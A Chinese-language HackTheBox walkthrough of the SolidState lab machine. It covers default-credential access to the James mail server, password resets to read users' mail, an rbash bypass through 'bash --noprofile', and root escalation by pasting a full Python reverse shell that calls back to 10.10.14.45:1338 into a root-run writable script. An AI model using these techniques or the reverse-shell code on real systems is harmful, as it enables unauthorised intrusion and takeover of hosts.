HackTheBox >_ SolidState_51
Published on 10 Nov 2020
SolidState_51
有JAMES先搞JAMES。
默认凭证成功登陆root:root
命令记不清可以使用help查看命令
使用listusers
命令列出所有邮件用户
使用setpassword 用户名 密码
的命令格式,为这些用户逐个修改密码,并挨个登陆检查他们的邮件
以下以得到线索的用户mindy为例
修改mindy秘密为mindy
从110端口登陆
使用LIST
命令可以列出邮件
使用RETR 序号
可以阅读对应邮件
发现一组凭证
username: mindy
pass: P@55W0rd1!2@
SSH 登陆
得到user
但是我们现在的shell是rbash,许多功能受限,所以我们可以使用 --noprofile
参数来重新连接ssh越过bash的设置
$ ssh mindy@10.10.10.51 'bash --noprofile'
在我们的枚举,我们遇到在/ opt一个有趣的全局可写文件。
记得要经常检查/opt和/usr/local目录对任何有可能利用的自定义软件包或脚本。
查看脚本内容
看脚本是执行清除tmp下面的文件
我们可以通过修改这个会被root执行,但是我们可以写入的脚本,来获得root shell
因为在目标shell种打开vim等编辑器,难以正常输入。有另外一个技巧,就是在本地编辑好之后,直接复制代码
黏贴到目标中
#!/usr/bin/env python
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("10.10.14.45",1338))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"]);
现在本地写好脚本
然后在靶机上vi tmp.py
进入之后按ESC进入命令行模式 输入 :.,$d
删除所有行
再按 i 进入编辑模式 直接粘贴
再按 ESC 进入命令行模式
输入 :wq 保存退出
在监听端口获得root shell